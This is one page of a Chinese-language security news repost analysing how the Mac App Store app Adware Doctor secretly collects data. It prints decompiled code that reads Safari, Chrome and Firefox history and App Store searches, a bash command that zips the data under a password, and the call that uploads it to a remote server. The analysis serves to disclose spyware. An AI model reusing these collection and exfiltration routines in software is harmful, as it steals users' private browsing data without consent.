欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

被指向中国服务器提供数据,Mac App Store下架排名第一的付费安软

来源:本站整理 作者:佚名 时间:2018-09-11 TAG: 我要投稿
    rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
sysctl函数的调用加上字符串GetBSDProcessList给出了进程列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中获取进程列表,也就是说 Adware Doctor用来绕沙箱的代码直接来自苹果。
现在让我们看看Adware Doctor如何收集用户的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:
collectSafariHistoryToFile
collectChromeHistoryToFile
firefoxHistory
这些方法中的每一个都包含用于提取浏览器历史记录的代码。
对于Safari而言,这将调用解析其History.db文件:
+(void)collectSafariHistoryToFile:(void *)arg2 {
    ...
   if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {
        r15 = [[ACECommon realHomeDirectory] retain];
        rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];
        r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];
       ;parse database
    }
    else {
            r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];
            [r12 writeData:r14];
            [r14 release];
            [r12 closeFile];
    }
}
该collectChromeHistoryToFile涉及到多个文件,但基本上可以归结为列举Chrome个人资料,然后分析Chrome历史数据。
+(void)collectChromeHistoryToFile:(void *)arg2 {
    r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];
    rbx = [[rbx stringByAppendingPathComponent:r13] retain];
    [r14 copyItemAtPath:rbx toPath:var_170 error:0x0];
    ...
    rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];
   ...
}
最后,在解析每个配置文件的places.sqlite数据库之前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:
+(void)collectFirefoxHistoryToFile:(void *)arg2 {
...
r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];
  r15 = [[rbx stringByAppendingPathComponent:r12] retain];
  r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
该应用程序还有一个名为collectAppStoreHistoryToFile的方法,它将尝试在App Store App中获取用户最近的所有搜索记录:
+(void)collectAppStoreHistoryToFile:(void *)arg2 {
  ...
15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];
  ...
r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]
  ...
ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\" .*/\1/'")]
}
在收集完用户数据后将所有内容都压缩到history.zip文件发送:
(lldb) po $rdi
0x1003fa4b0>
(lldb) po [$rdi launchPath]
/bin/bash
(lldb) po [$rdi arguments]
0x100352480>(
-c,
zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null
)
此文件以及包含软件列表的JSON blob(已下载的.dmgs或.pkgs以及从哪里下载),然后通过调用sendPostRequestWithSuffix方法上传到服务器(请注意API端点:checkadware) :
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];
[
{
"content": "\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02 21:15:46 +0000\n(\n    \"https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\",\n    \"https:\/\/www.google.com\/chrome\/\"\n)\n5533641bc4cc7af7784565ac2386a807\n"
},{
"content": "\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02 20:48:18 +0000\n(\n    \"https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\",\n    \"https:\/\/www.charlesproxy.com\/latest-release\/download.do\"\n)\nde043b43c49077bbdce75de22e2f2d54\n"
  },{
"content": "\/Users\/user\/Downloads\/Firefox 61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n    \"https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\",\n    \"https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\"\n)\n65096904bf80c4dd12eb3ba833b7db8d\n"

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载